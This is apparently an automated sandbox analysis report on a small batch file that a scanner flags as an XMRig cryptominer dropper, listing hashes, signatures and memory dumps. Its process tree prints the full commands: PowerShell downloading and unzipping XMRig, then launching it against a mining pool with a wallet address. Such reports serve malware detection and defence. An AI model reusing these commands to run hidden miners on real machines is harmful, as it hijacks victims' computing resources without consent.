Analysis

  • max time kernel
    1789s
  • max time network
    1799s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25-12-2023 21:13

General

  • Target

    tesy - Copy (5).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3520
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1516
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2280
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1528

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1516-6-0x000002316B2E0000-0x000002316B2F0000-memory.dmp

    Filesize

    64KB

  • memory/1516-10-0x000002316B5E0000-0x000002316B656000-memory.dmp

    Filesize

    472KB

  • memory/1516-8-0x000002316B2E0000-0x000002316B2F0000-memory.dmp

    Filesize

    64KB

  • memory/1516-25-0x000002316B2E0000-0x000002316B2F0000-memory.dmp

    Filesize

    64KB

  • memory/1516-5-0x00007FF87F540000-0x00007FF87FF2C000-memory.dmp

    Filesize

    9.9MB

  • memory/1516-4-0x000002316B240000-0x000002316B262000-memory.dmp

    Filesize

    136KB

  • memory/1516-26-0x00007FF87F540000-0x00007FF87FF2C000-memory.dmp

    Filesize

    9.9MB

  • memory/1516-27-0x000002316B2E0000-0x000002316B2F0000-memory.dmp

    Filesize

    64KB

  • memory/1516-28-0x000002316B2E0000-0x000002316B2F0000-memory.dmp

    Filesize

    64KB

  • memory/1516-29-0x000002316B2E0000-0x000002316B2F0000-memory.dmp

    Filesize

    64KB

  • memory/1516-34-0x00007FF87F540000-0x00007FF87FF2C000-memory.dmp

    Filesize

    9.9MB

  • memory/1528-148-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-154-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-122-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-124-0x00000245FC9A0000-0x00000245FC9C0000-memory.dmp

    Filesize

    128KB

  • memory/1528-188-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-187-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-186-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-123-0x00000245FC980000-0x00000245FC9A0000-memory.dmp

    Filesize

    128KB

  • memory/1528-125-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-126-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-129-0x00000245FC9A0000-0x00000245FC9C0000-memory.dmp

    Filesize

    128KB

  • memory/1528-128-0x00000245FC980000-0x00000245FC9A0000-memory.dmp

    Filesize

    128KB

  • memory/1528-127-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-130-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-131-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-132-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-133-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-134-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-135-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-136-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-137-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-138-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-139-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-140-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-141-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-142-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-143-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-144-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-145-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-146-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-147-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-120-0x00000245FC930000-0x00000245FC950000-memory.dmp

    Filesize

    128KB

  • memory/1528-149-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-150-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-151-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-152-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-153-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-121-0x00000245FC960000-0x00000245FC980000-memory.dmp

    Filesize

    128KB

  • memory/1528-155-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-156-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-157-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-158-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-159-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-160-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-161-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-162-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-163-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-164-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-165-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-166-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-167-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-168-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-169-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-170-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-171-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-172-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-173-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-174-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-175-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-176-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-177-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-178-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-179-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-180-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-181-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-182-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-183-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-184-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/1528-185-0x00007FF7A4D90000-0x00007FF7A5893000-memory.dmp

    Filesize

    11.0MB

  • memory/2280-42-0x00007FF87F540000-0x00007FF87FF2C000-memory.dmp

    Filesize

    9.9MB

  • memory/2280-44-0x000002D1FEF00000-0x000002D1FEF10000-memory.dmp

    Filesize

    64KB

  • memory/2280-45-0x000002D1FEF00000-0x000002D1FEF10000-memory.dmp

    Filesize

    64KB

  • memory/2280-66-0x000002D1FEF00000-0x000002D1FEF10000-memory.dmp

    Filesize

    64KB

  • memory/2280-93-0x000002D1FF080000-0x000002D1FF08A000-memory.dmp

    Filesize

    40KB

  • memory/2280-80-0x000002D1FF210000-0x000002D1FF222000-memory.dmp

    Filesize

    72KB

  • memory/2280-117-0x00007FF87F540000-0x00007FF87FF2C000-memory.dmp

    Filesize

    9.9MB